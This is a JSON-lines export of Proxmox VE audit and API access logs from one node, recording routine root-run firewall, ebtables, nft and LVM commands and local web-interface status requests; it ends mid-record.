{"@timestamp":1781965578329,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:26:17 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 905"} {"@timestamp":1781966245317,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966245.317:69065): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8ae0d70 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66322 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781964635659,"@rawstring":"node=pve type=EXECVE msg=audit(1781964635.659:61885): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966055299,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966055.299:68261): arch=c000003e syscall=59 success=no exit=-2 a0=7ffd52727850 a1=6539738e7310 a2=6539738e0680 a3=5 items=1 ppid=65552 pid=65553 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965849526,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965849.526:67369): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64703 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966254928,"@rawstring":"node=pve type=EXECVE msg=audit(1781966254.928:69087): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781964528596,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:08:47 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 834"} {"@timestamp":1781964235973,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964235.973:60160): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57768 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965578329,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:26:17 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 507"} {"@timestamp":1781966245311,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966245.311:69064): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0e64a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66321 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964635653,"@rawstring":"node=pve type=EXECVE msg=audit(1781964635.653:61884): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781966055225,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966055.225:68248): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954bb0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65543 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965849514,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965849.514:67367): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64702 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966254890,"@rawstring":"node=pve type=EXECVE msg=audit(1781966254.890:69086): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781964527584,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:08:46 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 468"} {"@timestamp":1781964235966,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964235.966:60159): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57767 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965576821,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:26:15 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 892"} {"@timestamp":1781966245304,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966245.304:69063): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66320 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964635645,"@rawstring":"node=pve type=EXECVE msg=audit(1781964635.645:61883): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781966055225,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966055.225:68247): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954bb0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65543 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965849514,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965849.514:67366): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64702 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966250950,"@rawstring":"node=pve type=EXECVE msg=audit(1781966250.950:69085): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964524665,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:08:43 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1094"} {"@timestamp":1781964235963,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964235.963:60158): arch=c000003e syscall=59 success=yes exit=0 a0=57512343fe90 a1=57512343cc10 a2=57512341e680 a3=5 items=2 ppid=57760 pid=57766 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965575806,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:26:15 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 506"} {"@timestamp":1781966245299,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966245.299:69062): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0e64a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66319 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964635637,"@rawstring":"node=pve type=EXECVE msg=audit(1781964635.637:61882): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781966055217,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966055.217:68245): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954af0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65541 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965845792,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965845.792:67362): arch=c000003e syscall=59 success=no exit=-2 a0=7ffefb19cce0 a1=5a150e8e0310 a2=5a150e8d9680 a3=5 items=1 ppid=64695 pid=64696 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966250944,"@rawstring":"node=pve type=EXECVE msg=audit(1781966250.944:69082): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964523647,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:08:42 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 466"} {"@timestamp":1781964235960,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964235.960:60157): arch=c000003e syscall=59 success=yes exit=0 a0=5750f03ddac8 a1=7fff33f9d450 a2=57512341e680 a3=5750f03c124e items=2 ppid=57760 pid=57762 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965575806,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:26:15 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781966245293,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966245.293:69061): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66318 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964635105,"@rawstring":"node=pve type=EXECVE msg=audit(1781964635.105:61881): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966055217,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966055.217:68244): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954af0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65541 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965845676,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965845.676:67344): arch=c000003e syscall=59 success=no exit=-2 a0=7ffed647eaf0 a1=55f86780b310 a2=55f867804680 a3=5 items=1 ppid=64676 pid=64677 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966245936,"@rawstring":"node=pve type=EXECVE msg=audit(1781966245.936:69079): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964522626,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:08:41 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 839"} {"@timestamp":1781964235958,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964235.958:60156): arch=c000003e syscall=59 success=yes exit=0 a0=7fff33f9d410 a1=575123425310 a2=57512341e680 a3=5 items=2 ppid=57760 pid=57761 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965575806,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:26:14 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1096"} {"@timestamp":1781966245288,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966245.288:69060): arch=c000003e syscall=54 success=yes exit=0 a0=4 a1=29 a2=40 a3=5f792b70a1d0 items=0 ppid=1156 pid=66317 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=(null)"} {"@timestamp":1781964635097,"@rawstring":"node=pve type=EXECVE msg=audit(1781964635.097:61878): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966055182,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966055.182:68237): arch=c000003e syscall=59 success=no exit=-2 a0=7ffc87190340 a1=5ee59e0c41c0 a2=5ee59e0a2680 a3=5 items=1 ppid=65531 pid=65532 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965844507,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965844.507:67334): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64666 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966245930,"@rawstring":"node=pve type=EXECVE msg=audit(1781966245.930:69076): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964520620,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:08:39 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1094"} {"@timestamp":1781964235955,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964235.955:60154): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=57760 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965574805,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:26:14 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1096"} {"@timestamp":1781966245286,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966245.286:69059): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc139a50 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66317 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964634226,"@rawstring":"node=pve type=EXECVE msg=audit(1781964634.226:61875): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781966050209,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966050.209:68227): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65521 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965844507,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965844.507:67333): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64666 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966245341,"@rawstring":"node=pve type=EXECVE msg=audit(1781966245.341:69072): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781964519615,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:08:38 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 466"} {"@timestamp":1781964235948,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964235.948:60153): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57759 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965574805,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:26:14 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 508"} {"@timestamp":1781966245279,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966245.279:69058): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66316 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964634184,"@rawstring":"node=pve type=EXECVE msg=audit(1781964634.184:61874): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781966050209,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966050.209:68226): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65521 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965844500,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965844.500:67331): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64665 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966245337,"@rawstring":"node=pve type=EXECVE msg=audit(1781966245.337:69071): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964515677,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:08:35 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1094"} {"@timestamp":1781964235941,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964235.941:60152): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57758 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965574805,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:26:13 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 939"} {"@timestamp":1781966245274,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966245.274:69057): arch=c000003e syscall=54 success=yes exit=0 a0=4 a1=0 a2=40 a3=5f05e2d9eda0 items=0 ppid=1156 pid=66315 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=(null)"} {"@timestamp":1781964630090,"@rawstring":"node=pve type=EXECVE msg=audit(1781964630.090:61873): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966050204,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966050.204:68224): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65520 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965844500,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965844.500:67330): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64665 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966245333,"@rawstring":"node=pve type=EXECVE msg=audit(1781966245.333:69070): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964515677,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:08:35 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 836"} {"@timestamp":1781964235936,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964235.936:60151): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc13ffc0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57757 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965572280,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:26:11 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 921"} {"@timestamp":1781966245268,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966245.268:69056): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0dea90 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66315 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964630083,"@rawstring":"node=pve type=EXECVE msg=audit(1781964630.083:61870): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966050203,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966050.203:68223): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65520 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965839489,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965839.489:67325): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64658 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966245333,"@rawstring":"node=pve type=EXECVE msg=audit(1781966245.333:69069): argc=1 a0=\"date\""} {"@timestamp":1781964515677,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:08:34 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 471"} {"@timestamp":1781964235930,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964235.930:60150): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc101310 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57756 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965572280,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:26:11 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 508"} {"@timestamp":1781966245260,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966245.260:69055): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66314 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964625625,"@rawstring":"node=pve type=EXECVE msg=audit(1781964625.625:61867): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781966046108,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966046.108:68219): arch=c000003e syscall=59 success=no exit=-2 a0=7ffc4e683d10 a1=6030442a33d0 a2=603044281680 a3=5 items=1 ppid=65513 pid=65514 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965839489,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965839.489:67324): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64658 auid=4294967295 uid=0 